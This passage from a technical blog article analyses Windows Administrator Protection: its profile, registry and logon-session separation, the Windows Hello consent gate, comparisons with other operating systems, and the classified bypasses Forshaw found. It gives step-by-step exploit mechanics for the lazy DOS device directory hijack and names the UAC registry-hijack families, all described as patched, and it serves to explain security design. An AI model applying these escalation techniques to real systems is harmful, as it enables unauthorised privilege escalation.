&lt;tr&gt;
&lt;td&gt;Same &lt;code&gt;HKCU&lt;/code&gt; hive&lt;/td&gt;
&lt;td&gt;SMAA has its own &lt;code&gt;NTUSER.DAT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Registry-hijack family (eventvwr, fodhelper, sdclt)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Same logon-session LUID&lt;/td&gt;
&lt;td&gt;SMAA gets a fresh LUID per elevation&lt;/td&gt;
&lt;td&gt;Token-theft via &lt;code&gt;TokenLinkedToken&lt;/code&gt;; logon-session DOS device hijack&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Profile separation.&lt;/strong&gt; The SMAA owns its own &lt;code&gt;%USERPROFILE%&lt;/code&gt; directory tree under &lt;code&gt;C:\Users\ADMIN_&amp;lt;random&amp;gt;\&lt;/code&gt;. Files created by elevated processes land there by default. Library folder divergence is the most visible consequence: an elevated Notepad&apos;s File &amp;gt; Save dialog opens at the SMAA&apos;s &lt;code&gt;Documents&lt;/code&gt;, not the primary user&apos;s. The primary user cannot see those files in their own Explorer without explicit cross-profile navigation. The structural property that closes is the writable-shared-directory premise of the Davidson 2009 DLL side-load family. Sysprep + CRYPTBASE was a profile-shared attack; without a shared profile, the elevated binary searches a different directory tree from the one the limited user can write to [@ms-developer-blog-2025].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Registry separation.&lt;/strong&gt; The SMAA&apos;s &lt;code&gt;HKCU&lt;/code&gt; maps to the SMAA&apos;s &lt;code&gt;NTUSER.DAT&lt;/code&gt;, not the primary user&apos;s. When &lt;code&gt;eventvwr.exe&lt;/code&gt;, running in an SMAA process, queries &lt;code&gt;HKCU\Software\Classes\mscfile\shell\open\command&lt;/code&gt;, it reads the SMAA&apos;s hive, not the primary user&apos;s. The primary user has no write access to the SMAA&apos;s &lt;code&gt;NTUSER.DAT&lt;/code&gt;. The entire registry-hijack family -- eventvwr / mscfile [@enigma0x3-2016-eventvwr], fodhelper / ms-settings, sdclt / IsolatedCommand [@enigma0x3-2017-sdclt], sdclt / App Paths [@enigma0x3-2017-app-paths] -- forecloses on the same property: the elevated binary&apos;s &lt;code&gt;HKCU&lt;/code&gt; lookup walks a hive the attacker does not control [@ms-developer-blog-2025].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Logon-session separation.&lt;/strong&gt; Every SMAA elevation gets a fresh authentication-ID LUID. The Local Security Authority allocates a new logon session for each elevation; when the elevated process exits, the session is reaped. Per-logon-session kernel resource caches, including the DOS device object directory at &lt;code&gt;\Sessions\0\DosDevices\&amp;lt;LUID&amp;gt;&lt;/code&gt; and the credential cache, do not flow across the boundary. Token handles cannot be reused. Drive-letter overrides under the limited user&apos;s logon session do not appear in the SMAA&apos;s session [@forshaw-pz-jan2026].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;No auto-elevation.&lt;/strong&gt; The &lt;code&gt;autoElevate=true&lt;/code&gt; manifest attribute is no longer honoured by &lt;code&gt;appinfo.dll&lt;/code&gt; under &lt;code&gt;TypeOfAdminApprovalMode = 2&lt;/code&gt;. Every elevation that previously went silent now prompts. The Windows Developer Blog states the change directly: &quot;With administrator protection, all auto-elevations in Windows are removed and users need to interactively authorize every admin operation&quot; [@ms-developer-blog-2025]. Forshaw&apos;s January 2026 framing of the consequence: &quot;as auto-elevation is no longer permitted they will always show a prompt, therefore these are not considered bypasses&quot; [@forshaw-pz-jan2026]. This is the single most consequential fix in the design. The auto-elevation whitelist &lt;em&gt;was&lt;/em&gt; the bypass; removing the whitelist eliminates the class at the source, including the entire silent-elevation primitive class that Forshaw&apos;s older &lt;code&gt;RAiProcessRunOnce&lt;/code&gt; research relied on.&lt;/p&gt;

Multi-user separation is the original UNIX privilege model. The `root` user holds privilege; ordinary users do not; the boundary between them is the file-permission system enforced by the kernel. Windows NT shipped the same primitives in 1993 -- discretionary access control lists on every securable object, per-user profiles, multi-user logon sessions -- but the surrounding culture treated Administrator-as-default as the path of least resistance. The architectural sophistication in Administrator Protection is in *linkage* (the SAM forward / back attributes), *lifecycle* (provisioning on policy enable, teardown on process exit), and *enforcement* (removal of auto-elevation as a mechanism). The primitives themselves are old.
&lt;p&gt;The four fixes share a property. Each one breaks a shared resource that an attacker depends on. But there is one more piece of the redesign that has not yet been described: the prompt itself is no longer a Yes/No click-through. The next section asks what happens when the consent UI becomes a credential.&lt;/p&gt;
&lt;h2&gt;9. Windows Hello as the consent gate&lt;/h2&gt;
&lt;p&gt;The classic UAC prompt is a Yes / No on the secure desktop. Administrator Protection turns the prompt into a &lt;em&gt;credential&lt;/em&gt; prompt for the &lt;em&gt;primary user&apos;s&lt;/em&gt; Windows Hello: a PIN, a fingerprint, a face match, or a password fallback. The credential is for the primary user, not the SMAA, because the SMAA has no human credentials; the Hello verification is what &lt;em&gt;authorises&lt;/em&gt; the cross-profile elevation [@ms-admin-protection, @ms-developer-blog-2025, @forshaw-pz-jan2026].&lt;/p&gt;
&lt;p&gt;To talk precisely about what the gate does, name the primitive it closes. Under classic UAC, the consent prompt treated a click on the secure desktop as sufficient evidence of consent; physical presence was the entire evidence requirement. That primitive shows up in three sub-cases that the UAC literature has documented for two decades.&lt;/p&gt;

The primitive by which the legacy UAC consent dialog accepted a click on the secure desktop as sufficient evidence of consent, without verifying *who* clicked. Three operational sub-cases follow. *Unattended-session click-through* -- an attacker (or co-located third party) with brief physical access to an unlocked screen showing a UAC prompt clicks Yes on the presumption that whoever is at the keyboard is the legitimate user. *Habituated-click click-through* -- the legitimate user has clicked Yes on hundreds of UAC prompts and clicks one more without conscious attention. *Pretext click-through* -- a malicious application argues a legitimate-looking case to the user and elicits the Yes click. Administrator Protection&apos;s credential gate cost-raises all three sub-cases without fully eliminating any [@forshaw-pz-jan2026, @ms-admin-protection].
&lt;p&gt;&lt;strong&gt;Unattended-session click-through.&lt;/strong&gt; An attacker who walks up to an unlocked screen showing a UAC prompt can click Yes and elevate. The legitimate user has authenticated; the prompt assumes the person at the keyboard is the legitimate user. Post-AP, the click is not sufficient. The Hello biometric or PIN is required, and the attacker (who does not know either) cannot complete the gesture. Microsoft&apos;s Ignite 2024 framing addresses this primitive implicitly with &quot;elevation rights only when needed&quot; and &quot;interactively authorize every admin operation&quot; [@bleepingcomputer-2024].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Habituated-click click-through.&lt;/strong&gt; A user who has clicked Yes on hundreds of UAC prompts over the course of a year clicks Yes on a malicious one as reflex. The classic UAC prompt requires no attentional engagement beyond physical presence and a click. Hello&apos;s gesture (a four-digit PIN entry, a fingerprint press, a face-recognition glance) is higher-friction and harder to perform inattentively. The Windows Developer Blog frames the property as &quot;just-in-time administrator privileges, incorporating Windows Hello to enhance both security and user convenience&quot; [@ms-developer-blog-2025].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pretext click-through.&lt;/strong&gt; A malicious application that argues its case to the user -- a fake installer, a re-skinned setup utility, a Trojan masquerading as a legitimate update -- can elicit a Yes click pre-AP. Post-AP, the user is also asked for a credential, which is a stronger user-side check. The user is more likely to interrogate &quot;why am I being asked for my PIN &lt;em&gt;again&lt;/em&gt;?&quot; than &quot;why is a prompt appearing?&quot; Microsoft Learn captures the intent as &quot;users are aware of potentially harmful actions before they occur, providing an extra layer of defense against threats&quot; [@ms-admin-protection].&lt;/p&gt;
&lt;p&gt;None of the three sub-cases is &lt;em&gt;fully&lt;/em&gt; eliminated. Forshaw is explicit that visible-prompt bypasses are not classified as security vulnerabilities by Microsoft&apos;s design-document position: bypasses that result in a visible prompt are not security bulletins, because the user could equivalently have launched the prompt themselves [@forshaw-pz-jan2026]. What the gate does is &lt;em&gt;cost-raise&lt;/em&gt; each sub-case. The unattended-screen attack requires a stolen PIN or coerced biometric. The habituated user must perform a gesture they cannot perform inattentively. The pretext attack must justify the second authentication, not just the first.&lt;/p&gt;
&lt;p&gt;What it does &lt;em&gt;not&lt;/em&gt; close is worth naming, because three primitives that look like they belong on the credential gate&apos;s account sheet were already closed by independent mechanisms, and the article should say so to avoid the common over-attribution mistake.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Synthetic-keystroke &lt;code&gt;SendInput&lt;/code&gt; against &lt;code&gt;consent.exe&lt;/code&gt;.&lt;/strong&gt; Already closed by UIPI in Vista 2006, and doubly closed by the secure-desktop switch to &lt;code&gt;Winsta0\Winlogon&lt;/code&gt;. Even UI Access processes -- whose purpose is to bypass UIPI for accessibility -- cannot reach into the secure desktop [@forshaw-pz-feb2026].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Headless UI Automation against the prompt.&lt;/strong&gt; Same UIPI / secure-desktop boundary closes it. Redundant with respect to the credential gate.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CVE-2019-1388-class UI-interaction paths surfaced through the prompt&apos;s own UI.&lt;/strong&gt; Closed by Microsoft&apos;s November 2019 HHCtrl patch and the cert-viewer UI redesign, prior to any Administrator Protection development [@nvd-cve-2019-1388].&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The credential is hardware-rooted via &lt;a href=&quot;https://paragmali.com/blog/the-tpm-in-windows-one-primitive-twenty-five-years-and-the-c/&quot; rel=&quot;noopener&quot;&gt;TPM&lt;/a&gt; or &lt;a href=&quot;https://paragmali.com/blog/pluton-a-tpm-on-silicon-microsoft-can-patch/&quot; rel=&quot;noopener&quot;&gt;Pluton&lt;/a&gt; on capable hardware. The PIN is unsealed only under the user&apos;s gesture; the biometric flows through Enhanced Sign-in Security (ESS) on capable hardware; the credential itself never leaves the Trusted Platform Module or Pluton enclave when ESS is engaged [@ms-windows-hello-ess]. The detail of the Hello architecture itself -- FIDO2 attestation, the &lt;code&gt;ngc&lt;/code&gt; protector, the ESS isolation path through the Secure Kernel -- belongs to the &lt;a href=&quot;https://paragmali.com/blog/your-face-is-not-your-password-inside-windows-hellos-hardwar/&quot; rel=&quot;noopener&quot;&gt;Windows Hello article&lt;/a&gt; in this series, and is not re-derived here.&lt;/p&gt;
&lt;p&gt;The new risk the gate does &lt;em&gt;not&lt;/em&gt; close is the obvious one. Phishing the prompt now phishes a &lt;em&gt;real credential&lt;/em&gt;, not just consent. A malicious application that can convince the user to authenticate on its behalf gets the elevation the user would otherwise have given to a legitimate request. The credential remains hardware-rooted and is not exfiltrated to the malware, but the elevation produces a working SMAA token in the attacker&apos;s process. This is the surface §15 carries forward to open problems.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The credential gate closes one specific primitive: &lt;em&gt;consent-without-identity-verification&lt;/em&gt;. It cost-raises three sub-cases (unattended-session, habituated-click, pretext click-through) without eliminating any. The structural boundary is profile separation plus fresh logon session plus auto-elevation removal; the credential gate is the fourth, defence-in-depth, property that ensures the boundary cannot be silently crossed by anyone holding only the limited user&apos;s physical access.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The prompt is a credential gate, but it remains a UI element. The next section asks how this elevation model compares to what other operating systems do.&lt;/p&gt;
&lt;h2&gt;10. Competing approaches: what other operating systems do&lt;/h2&gt;
&lt;p&gt;Three one-paragraph treatments. The article does not re-derive each system; it positions Administrator Protection against the field.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Linux: &lt;code&gt;sudo&lt;/code&gt; plus PolKit &lt;code&gt;pkexec&lt;/code&gt; plus PAM modules.&lt;/strong&gt; The authority model on Linux is file-based. &lt;code&gt;/etc/sudoers&lt;/code&gt; (or its LDAP equivalent) is the policy table; the &lt;code&gt;sudoers&lt;/code&gt; plugin reads it and decides whether to permit a given user to run a given command [@sudo-ws-sudoers]. PolKit -- &lt;code&gt;polkitd&lt;/code&gt; and its authentication-agent helpers -- is the parallel mechanism for GUI privileged-service requests, with actions and mechanisms separated in the polkit configuration files [@polkit-docs]. Biometric integration arrives through the PAM stack: &lt;code&gt;pam_fprintd&lt;/code&gt; for fingerprint, &lt;code&gt;pam_u2f&lt;/code&gt; for FIDO2 tokens, &lt;code&gt;pam_yubico&lt;/code&gt; for Yubikeys. There is no profile separation by default; &lt;code&gt;sudo -i&lt;/code&gt; switches &lt;code&gt;HOME&lt;/code&gt; to root&apos;s home directory but does not separate per-elevation. The model is per-command authorisation, not per-account isolation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;macOS: Authorization Services plus Touch ID via &lt;code&gt;pam_tid&lt;/code&gt;.&lt;/strong&gt; GUI elevation prompts are gated by &lt;code&gt;authorizationdb&lt;/code&gt;, a property-list-format policy database whose rules name which credentials (admin password, Touch ID, system-wide entitlements) authorise which actions [@apple-auth-services]. Touch ID is verified by the Secure Enclave Processor; the credential never leaves the SEP, and Authorization Services integrates with &lt;code&gt;pam_tid&lt;/code&gt; to allow &lt;code&gt;sudo&lt;/code&gt; invocations to use the gesture [@apple-pam-tid]. There is no separate admin profile; Transparency, Consent, and Control (TCC) guards privileged resource access at the per-action level, not the per-profile level. The Mac architecture privileges hardware-rooted consent (Touch ID, Secure Enclave) over account separation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Microsoft&apos;s own &lt;code&gt;sudo.exe&lt;/code&gt; (Windows 11 24H2).&lt;/strong&gt; An inbox terminal transport that triggers the &lt;em&gt;existing&lt;/em&gt; UAC or Administrator Protection pipeline; not an alternative to either [@ms-sudo-docs]. The &lt;code&gt;forceNewWindow&lt;/code&gt; mode opens an elevated console in a new window. The &lt;code&gt;disableInput&lt;/code&gt; mode keeps the elevated console in the current window but blocks keyboard input to it from the unelevated terminal. The &lt;code&gt;normal&lt;/code&gt; (inline) mode preserves POSIX-style pipes between the unelevated and elevated processes. Microsoft Learn warns explicitly about the inline mode: &quot;Sudo for Windows can be used as a potential escalation of privilege vector when enabled in certain configurations&quot; [@ms-sudo-docs]. The mechanism is RPC between the unelevated and elevated &lt;code&gt;sudo.exe&lt;/code&gt; processes; the elevation itself still goes through &lt;code&gt;appinfo.dll&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Intune Endpoint Privilege Management (EPM).&lt;/strong&gt; Cloud-policy-driven virtual-account elevation [@ms-epm-overview]. EPM performs elevation via a &lt;em&gt;virtual&lt;/em&gt; account that is not a member of the local Administrators group; the elevation rights are conferred only for the duration of the policy-permitted action. Three elevation modes are available: Automatic (no user interaction), User-confirmed (a prompt), and Elevate as Current User (the action runs as the user&apos;s elevated identity rather than the virtual account). EPM is architecturally complementary to Administrator Protection: EPM is the &lt;em&gt;enterprise policy&lt;/em&gt; story, Administrator Protection is the &lt;em&gt;per-device architecture&lt;/em&gt; story. The two can coexist on the same device.&lt;/p&gt;
&lt;p&gt;The distinguishing property of Administrator Protection in this comparison is whole-profile separation: the SMAA&apos;s own profile, the SMAA&apos;s own &lt;code&gt;HKCU&lt;/code&gt;, the SMAA&apos;s own library folders, plus a fresh logon session per elevation. Neither Linux &lt;code&gt;sudo&lt;/code&gt; nor macOS Authorization Services provides that property as a default desktop primitive. EPM provides per-elevation isolation via the virtual account but does not give the elevated process a persistent profile, which is what makes Administrator Protection&apos;s compatibility story so different from EPM&apos;s.&lt;/p&gt;
&lt;p&gt;Administrator Protection is the architecturally tightest desktop elevation model now in production. The next section asks where the boundary still leaks.&lt;/p&gt;
&lt;h2&gt;11. Theoretical limits: what Administrator Protection cannot fix&lt;/h2&gt;
&lt;p&gt;Four structural ceilings.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Showing a prompt is not crossing the boundary.&lt;/strong&gt; Microsoft&apos;s design position is explicit: bypasses that result in a &lt;em&gt;visible&lt;/em&gt; elevation prompt are not security bulletins, because the user could equivalently have right-clicked &quot;Run as administrator.&quot; Forshaw&apos;s January 2026 post states the position verbatim: &quot;I expect that malware will still be able to get administrator privileges even if that&apos;s just by forcing a user to accept the elevation prompt&quot; [@forshaw-pz-jan2026]. The operational consequence is that social-engineering the consent dialog remains a structural attack surface. The prompt is a UI element. The boundary is the credential gate. The gate is only as strong as the user&apos;s resistance to whatever pretext induces them to authenticate.&lt;/p&gt;

The MSRC servicing-criteria definition of a security boundary: a logical separation between code or data of different trust levels, intended to be enforced by the operating system and accompanied by a Microsoft commitment to issue a security update when an unauthorised crossing is found. UAC under the classic split-token model is classified as a *security feature*, not a boundary; bypasses receive quality-fix attention but not security-bulletin attention. Administrator Protection is the first elevation mechanism classified as a security boundary, with bulletin-grade fixes when it fails [@msrc-servicing-criteria, @forshaw-pz-jan2026].
&lt;p&gt;&lt;strong&gt;Admin equals kernel.&lt;/strong&gt; Once code is running inside an SMAA elevated process, it has the local Administrators group; it can write to &lt;code&gt;HKLM&lt;/code&gt;; it can install services; it can load WHQL-signed drivers; it can call into kernel-mode interfaces gated by &lt;code&gt;SeLoadDriverPrivilege&lt;/code&gt; and the App Control for Business policy. The MSRC servicing-criteria position that &quot;admin-to-kernel is not a security boundary&quot; continues to apply inside the SMAA [@msrc-servicing-criteria]. Administrator Protection makes the path &lt;em&gt;to&lt;/em&gt; admin into a boundary; it does not change the relationship between admin and kernel. Driver-loading controls remain the domain of WHQL signing, the Microsoft Vulnerable Driver Blocklist (default-on in Windows 11 since the 2022 update), App Control for Business policies, and Hypervisor-protected Code Integrity (HVCI) [@ms-vuln-driver-blocklist]. The &lt;a href=&quot;https://paragmali.com/blog/windows-app-identity-33-year-reinvention/&quot; rel=&quot;noopener&quot;&gt;App Identity article&lt;/a&gt; in this series covers the App Control mechanism in detail.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The SMAA is in the local Administrators group.&lt;/strong&gt; Discretionary access control list-based exposures of admin-only resources -- &lt;code&gt;CREATOR OWNER&lt;/code&gt; ACEs on persistent objects, world-writable DACLs on certain &lt;code&gt;\Sessions\0\DosDevices&lt;/code&gt; entries, default-permissive ACLs on a handful of legacy registry trees -- still grant the SMAA full access. The boundary is between &lt;em&gt;standard user&lt;/em&gt; and &lt;em&gt;SMAA&lt;/em&gt;, not between &lt;em&gt;SMAA&lt;/em&gt; and &lt;em&gt;SYSTEM&lt;/em&gt;. The SMAA is a high-privilege actor inside the operating system; the relationship between it and the rest of the privileged surface is unchanged.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Out of scope per Microsoft Learn.&lt;/strong&gt; Remote logon, roaming profiles, backup-admin accounts, Managed Service Accounts and group Managed Service Accounts (MSAs and gMSAs), virtual accounts for services, and domain-admin scenarios are explicitly outside the Administrator Protection model in its current form [@ms-admin-protection]. The feature is local-machine-only, interactive-admin-only. Domain administrators who log into a workstation will not see the SMAA path; service accounts under &lt;code&gt;LOCAL SERVICE&lt;/code&gt;, &lt;code&gt;NETWORK SERVICE&lt;/code&gt;, or &lt;code&gt;IIS_IUSRS&lt;/code&gt; are unaffected.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; A genuine architectural ceiling on consent-prompt elevation: the prompt is a UI element; the boundary is the credential gate; the gate is only as strong as the user&apos;s resistance to social engineering. Closing the gap requires out-of-band consent (smartcard, phone push) or per-action policy without human consent in the loop (EPM&apos;s automatic mode). Neither is the default.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Four limits, four sentences. The next section walks the concrete evidence of what actually leaked in the pre-GA Insider Preview builds, and what Microsoft did about it.&lt;/p&gt;
&lt;h2&gt;12. Forshaw&apos;s nine bypasses, classified&lt;/h2&gt;
&lt;p&gt;Between October 2024, when Administrator Protection first appeared in Insider Preview build 27718, and October 2025, when KB5067036 made the feature available on stable Windows, James Forshaw of Google Project Zero audited the mechanism and found nine separate silent-bypass paths. Microsoft fixed all nine -- either in the KB5067036 ship or in subsequent security bulletins [@forshaw-pz-jan2026]. The fact pattern is the structural confirmation that Administrator Protection is now treated as a security boundary. Under the UAC classification, none of those nine would have received CVEs. Each one would have been a quality bug. The bypass canon ran for twenty years without bulletins. The fact that the first cohort of Administrator Protection bypasses produced nine bulletin-eligible fixes is exactly the change in posture the classification change implies.&lt;/p&gt;

All the issues that I reported to Microsoft have been fixed, either prior to the feature being officially released (in optional update KB5067036) or as subsequent security bulletins. -- James Forshaw, *Bypassing Windows Administrator Protection*, Google Project Zero, January 26, 2026 [@forshaw-pz-jan2026]
&lt;p&gt;Walk the nine as three classes.&lt;/p&gt;
&lt;h3&gt;The lazy DOS device directory hijack&lt;/h3&gt;
&lt;p&gt;The single most interesting vulnerability in the feature&apos;s history; Forshaw&apos;s January 26, 2026 deep analysis [@forshaw-pz-jan2026]; Project Zero issue 432313668 [@pz-issue-432313668]. The mechanism turns on a behaviour change Administrator Protection itself introduced. Every SMAA elevation gets a &lt;em&gt;fresh&lt;/em&gt; logon session, which means the per-logon-session DOS device object directory at &lt;code&gt;\Sessions\0\DosDevices\&amp;lt;LUID&amp;gt;&lt;/code&gt; is not created at SMAA logon time. The kernel routine &lt;code&gt;SeGetTokenDeviceMap&lt;/code&gt; creates the directory &lt;em&gt;lazily&lt;/em&gt;, on the first reference. The owner of the new directory is the owner of the access token that triggered the creation [@forshaw-pz-jan2026, @theregister-2026].&lt;/p&gt;

The impersonation level (`SecurityIdentification`) at which an impersonating thread can read security information about the impersonated token -- the SID set, the privilege set -- but cannot perform privileged operations or open kernel objects as the impersonated user. The kernel allows access checks to consult an identification-level token for *reading* the security information; certain code paths inadvertently use that information for *granting* operations, which is the structural primitive Forshaw&apos;s lazy DOS device directory exploit depends on [@forshaw-pz-jan2026].
&lt;p&gt;The &lt;code&gt;SECURITY_IMPERSONATION_LEVEL&lt;/code&gt; enumeration in &lt;code&gt;winnt.h&lt;/code&gt; defines four levels in ascending order: &lt;code&gt;SecurityAnonymous&lt;/code&gt; (value 0), &lt;code&gt;SecurityIdentification&lt;/code&gt; (1), &lt;code&gt;SecurityImpersonation&lt;/code&gt; (2), &lt;code&gt;SecurityDelegation&lt;/code&gt; (3). &lt;code&gt;SecurityIdentification&lt;/code&gt; is the second-lowest -- it sits one above &lt;code&gt;SecurityAnonymous&lt;/code&gt; -- and is the level Windows uses when it wants to ask the kernel &quot;what would this token be allowed to do?&quot; without actually doing the operation. The trap is when a code path that runs &lt;em&gt;as the caller&lt;/em&gt; uses an identification-level impersonation to read a token property -- here, the linked-token field -- and the resulting object inherits the caller&apos;s owner SID rather than the impersonated token&apos;s.&lt;/p&gt;
&lt;p&gt;The exploit chain. An attacker running as the primary user (filtered token, Medium integrity) starts an elevation. Before the SMAA process touches its DOS device directory, the attacker impersonates the SMAA&apos;s &lt;code&gt;TokenLinkedToken&lt;/code&gt; at identification level and triggers a code path that walks the directory. The kernel creates &lt;code&gt;\Sessions\0\DosDevices\&amp;lt;SMAA_LUID&amp;gt;&lt;/code&gt; lazily; in the affected code path, the owner of the new directory becomes the attacker&apos;s primary token&apos;s owner SID rather than the SMAA&apos;s.&lt;/p&gt;
&lt;p&gt;The attacker plants a &lt;code&gt;C:&lt;/code&gt; symbolic link inside the directory pointing at an attacker-controlled location. When the elevated SMAA process loads its DLLs, the resolution walks &lt;code&gt;\Sessions\0\DosDevices\&amp;lt;SMAA_LUID&amp;gt;\C:&lt;/code&gt; first; the symlink redirects the load to the attacker&apos;s directory; the attacker&apos;s DLL runs in the High-integrity SMAA process [@forshaw-pz-jan2026].&lt;/p&gt;

sequenceDiagram
    participant Att as Attacker (limited user)
    participant Kern as &quot;Kernel (SeGetTokenDeviceMap)&quot;
    participant SMAA as SMAA elevated process&lt;pre&gt;&lt;code&gt;Note over SMAA: Fresh logon session -- DOS device dir not yet created
Att-&amp;gt;&amp;gt;Att: Impersonate SMAA TokenLinkedToken at Identification level
Att-&amp;gt;&amp;gt;Kern: Reference \Sessions\0\DosDevices\&amp;lt;SMAA_LUID&amp;gt;
Kern-&amp;gt;&amp;gt;Kern: Lazy-create directory
Note over Kern: Owner SID inherited from impersonating token
Att-&amp;gt;&amp;gt;Kern: Create C: symlink under attacker control
SMAA-&amp;gt;&amp;gt;Kern: Resolve C: at first DLL load
Kern--&amp;gt;&amp;gt;SMAA: Returns attacker symlink target
SMAA-&amp;gt;&amp;gt;SMAA: Load attacker DLL at High integrity
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What makes this bypass extraordinary is that it is &lt;em&gt;caused by&lt;/em&gt; the feature&apos;s design. Pre-Administrator-Protection, the user&apos;s primary logon session was created at desktop logon and the DOS device directory existed before any elevation. Lazy directory creation never came up. The SMAA design&apos;s &quot;fresh logon session per elevation&quot; property -- the same property Forshaw&apos;s January 2026 pull-quote in §7 establishes via the credential-less LSA logon -- is exactly the precondition the lazy-creation path exploits.&lt;/p&gt;
&lt;p&gt;Microsoft&apos;s pre-GA fix has two parts. First, the manifest-parsing access check uses the SYSTEM-impersonating-the-low-user identity rather than the user&apos;s primary token. Second, the DOS device directory is materialised with the correct owner before any user-controlled code path can trigger the lazy-creation path [@forshaw-pz-jan2026]. The Register&apos;s coverage of the disclosure noted &quot;the most notable of the nine bugs he reported was a Logon Sessions flaw that relied upon five different Windows behaviors. He added that he likely only found it because he was previously familiar with the OS&apos;s &apos;weird behavior when creating the DOS device object directory&apos;&quot; [@theregister-2026].&lt;/p&gt;
&lt;h3&gt;The five UI Access bypasses&lt;/h3&gt;
&lt;p&gt;Forshaw&apos;s February 2026 post details the second class, comprising five of the nine bypasses [@forshaw-pz-feb2026]. UI Access is a token flag retrofitted in Vista to let accessibility applications cross UIPI. To qualify, an executable needs three things: a manifest declaring &lt;code&gt;uiAccess=&quot;true&quot;&lt;/code&gt;, a trusted code-signing certificate, and an installation location under an administrator-only directory (typically &lt;code&gt;%ProgramFiles%&lt;/code&gt;). The Application Information service&apos;s &lt;code&gt;RAiLaunchAdminProcess&lt;/code&gt; endpoint launches qualifying UI Access processes &lt;em&gt;without showing the consent prompt&lt;/em&gt;, on the theory that the three-criteria check is itself sufficient evidence of administrator approval [@forshaw-pz-feb2026].&lt;/p&gt;

The token flag (`TOKEN_UIACCESS`) that allows a process to interact with windows of higher integrity level than its own, bypassing User Interface Privilege Isolation. UI Access is meant for accessibility software (screen readers, on-screen keyboards) that needs to interact with elevated UI. To qualify, an executable must carry a `uiAccess=&quot;true&quot;` manifest, a trusted code-signing certificate, and an administrator-only installation directory; qualifying processes run without showing the consent prompt and at integrity level High [@forshaw-pz-feb2026].
&lt;p&gt;Under classic UAC, a UI Access process ran with the filtered standard-user token bumped from Medium to High integrity -- not with the full admin token. Forshaw&apos;s February 2026 post states the mechanism verbatim: &quot;the service will take a copy of the caller&apos;s access token, enable the UI Access flag and increase the integrity level... If the caller is a limited user of an UAC administrator it will set the integrity level to High&quot; [@forshaw-pz-feb2026].&lt;/p&gt;
&lt;p&gt;Under Administrator Protection, the pre-GA design preserved that behaviour unchanged: the UI Access process inherited the limited user&apos;s primary token (not the SMAA&apos;s), bumped to High integrity. That decision was the structural flaw. A High-integrity process under the limited user can interact with the SMAA&apos;s windows whenever a High-integrity SMAA process exists on the same desktop, send messages to them, read clipboard data, and -- through &lt;code&gt;GetProcessHandleFromHwnd&lt;/code&gt; -- obtain a process handle on the SMAA process that lets the limited-user process inject code into it.&lt;/p&gt;
&lt;p&gt;The five UI Access variants exploit different sub-categories of the same structural property. The Quick Assist binary, a remote assistance application on Windows 10 and 11 that carries the uiAccess flag, is one such variant; R41N3RZUF477 published a public proof-of-concept that exploits the &lt;code&gt;BrowserExecutableFolder&lt;/code&gt; group policy to make Quick Assist load WebView2 from an attacker-controlled directory [@quickassist-bypass]. The remaining four exploit, respectively, weaknesses in the secure-application-directory check, the manifest parsing routine, COM marshalling in UI Access contexts, and message-only window handling [@forshaw-pz-feb2026].&lt;/p&gt;
&lt;p&gt;Microsoft&apos;s pre-GA fix is structural: UI Access processes no longer run as the limited user. They are created with a &lt;em&gt;filtered copy of the SMAA&apos;s token&lt;/em&gt; (the SMAA&apos;s SID, the SMAA&apos;s profile, but with &lt;code&gt;SeLoadDriverPrivilege&lt;/code&gt; and similar removed). Profile separation is restored at the cost of a more complex token-creation path [@forshaw-pz-feb2026].&lt;/p&gt;
&lt;h3&gt;The remaining three: implementation flaws&lt;/h3&gt;
&lt;p&gt;The third class -- three bypasses described by Forshaw only as &quot;implementation flaws and long-standing UAC issues&quot; -- is not detailed publicly [@forshaw-pz-jan2026]. The article does not invent details. Forshaw names the category and cites the framing; the engineering specifics are presumably in Microsoft Security Response Center advisories or are still under disclosure. What can be said is that two of the three appear from Forshaw&apos;s framing to be UAC-era bugs that Administrator Protection inherited rather than introduced, and one is an Administrator-Protection-specific implementation flaw.&lt;/p&gt;
&lt;p&gt;The bypass canon ran for twenty years without bulletins. The fact that all nine pre-GA Administrator Protection bypasses received fixes -- including a deep one rooted in the feature itself -- is the structural confirmation that the elevation path is now a boundary. The next section asks why Microsoft pulled the feature in December 2025.&lt;/p&gt;
&lt;h2&gt;13. The compatibility surface and the December 2025 revert&lt;/h2&gt;
&lt;p&gt;About one month after KB5067036 made Administrator Protection available, Microsoft pulled it. Forshaw, writing in January 2026, gives the canonical attribution: &quot;As of 1st December 2025 the Administrator Protection feature has been disabled by Microsoft while an application compatibility issue is dealt with. The issue is unlikely to be related to anything described in this blog post so the analysis doesn&apos;t change&quot; [@forshaw-pz-jan2026]. Microsoft Learn confirms: &quot;The feature previously listed in the October 2025 non-security update (KB5067036) has been reverted and will roll out at a later date&quot; [@ms-admin-protection, @ms-kb5067036].The November 2025 KB5067036 amendment is worth knowing. Microsoft included an unrelated fix for an AutoCAD MSI-repair UAC-prompt regression in the same cumulative; that fix shipped and was not reverted. The WebView2 installer regression is what caused the Administrator Protection revert specifically [@ms-kb5067036].&lt;/p&gt;
